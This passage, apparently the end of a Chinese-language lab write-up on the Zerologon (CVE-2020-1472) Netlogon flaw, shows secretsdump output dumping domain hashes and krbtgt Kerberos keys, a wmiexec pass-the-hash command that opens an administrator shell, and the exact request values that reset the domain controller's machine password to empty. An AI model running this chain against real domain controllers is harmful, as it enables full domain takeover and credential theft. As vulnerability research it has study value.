➜ Desktop python3 secretsdump.py 'WIN-NI3V5MRI9L6$@192.168.147.222' -no-passImpacket v0.9.22.dev1+20200924.183326.65cf657f - Copyright 2020 SecureAuth Corporation
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)[*] Using the DRSUAPI method to get NTDS.DIT secretsAdministrator:500:aad3b435b51404eeaad3b435b51404ee:d6ff87a3a1f9e671efea338c4fc53e65:::Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::krbtgt:502:aad3b435b51404eeaad3b435b51404ee:f15c5d3dc5d24c3587e19ed2bade3e29:::yyyyyyyyt:1001:aad3b435b51404eeaad3b435b51404ee:d6ff87a3a1f9e671efea338c4fc53e65:::WIN-NI3V5MRI9L6$:1002:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::[*] Kerberos keys grabbedkrbtgt:aes256-cts-hmac-sha1-96:1358483816cf1723cb1c084bf1833dcd7d72cfb07cd383408ba238306ea6b580krbtgt:aes128-cts-hmac-sha1-96:de0d4bda473745a0a696b13c69f4584fkrbtgt:des-cbc-md5:b60bfbb06ba42562yyyyyyyyt:aes256-cts-hmac-sha1-96:dd34bd0d9a4adb2a7f0cb35f0033035b0cdae21197a41147a7b07ed0681a5a7cyyyyyyyyt:aes128-cts-hmac-sha1-96:f46c8f546161b1082cd11d6db1c48aa4yyyyyyyyt:des-cbc-md5:fdfbb9f170a279f4WIN-NI3V5MRI9L6$:aes256-cts-hmac-sha1-96:a7a4115912de25275fbaf5a2649a1c740dd0657346b9bb5a3ad1997c1266668cWIN-NI3V5MRI9L6$:aes128-cts-hmac-sha1-96:98e16ee761764038de64317273db40efWIN-NI3V5MRI9L6$:des-cbc-md5:ae45a864687f8c8f[*] Cleaning up... 


然后可以使用 wmiexec 拿到域控制器中的本地管理员权限(后面恢复密码的操作就不介绍了,教程很多):

➜  examples git:(master) ✗ python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:d6ff87a3a1f9e671efea338c4fc53e65 Administrator@192.168.147.222Impacket v0.9.22.dev1+20200924.183326.65cf657f - Copyright 2020 SecureAuth Corporation

[*] SMBv3.0 dialect used[!] Launching semi-interactive shell - Careful what you execute[!] Press help for extra shell commandsC:\>whoamistrawberry\administrator



测试



使用前面总结的 00 00 00 00 00 00 00 Y 模式进行漏洞利用测试,这里 Y 为 0x41,ClearNewPassword 结构完全置零,成功将密码置空。以下为抓包数据:


1、NetrServerReqChallenge 请求,Client Challenge 为 00 00 00 00 00 00 00 41



2、NetrServerAuthenticate3 请求,Client Credential 为 00 00 00 00 00 00 00 41,Negotiation options 设置为 0xffffffff,POC 中将其设置为 0x212fffff( 将 Secure NRPC 位(Netlogon signing and sealing)设置为 0),但测试时将其设置为 0x612fffff 也是可以成功的,甚至,我直接将其设置为 0xffffffff(测试环境: Windows Server 2012 R2,默认配置。zcgonvh 师傅测试了 Windows Server 2008 R2 ,也得到了同样的结论)。但无 论如何,AES supported 位必须被设置,可参考 MS-NRPC 文档 3.1.4.2 节查看 NegotiateFlags 位。



3、NetrServerPasswordSet2 请求,Authenticator 中 Credential 设置为 00 00 00 00 00 00 00 41,timestamp 设置为 0。ClearNewPassword 设置为全 0。



4、最终,服务端设置成功,返回其 Authenticator。






参考链接




  • https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1472

  • https://www.secura.com/pathtoimg.php?id=2055

  • https://winprotocoldoc.blob.core.windows.net/productionwindowsarchives/MS-NRPC/%5BMS-NRPC%5D.pdf

  • https://mp.weixin.qq.com/s/wHoT-h468TXR48zzc79XgQ

  • https://nakedsecurity.sophos.com/2020/09/17/zerologon-hacking-windows-servers-with-a-bunch-of-zeros/

  • https://bbs.pediy.com/thread-262236.htm

  • https://github.com/mstxq17/cve-2020-1472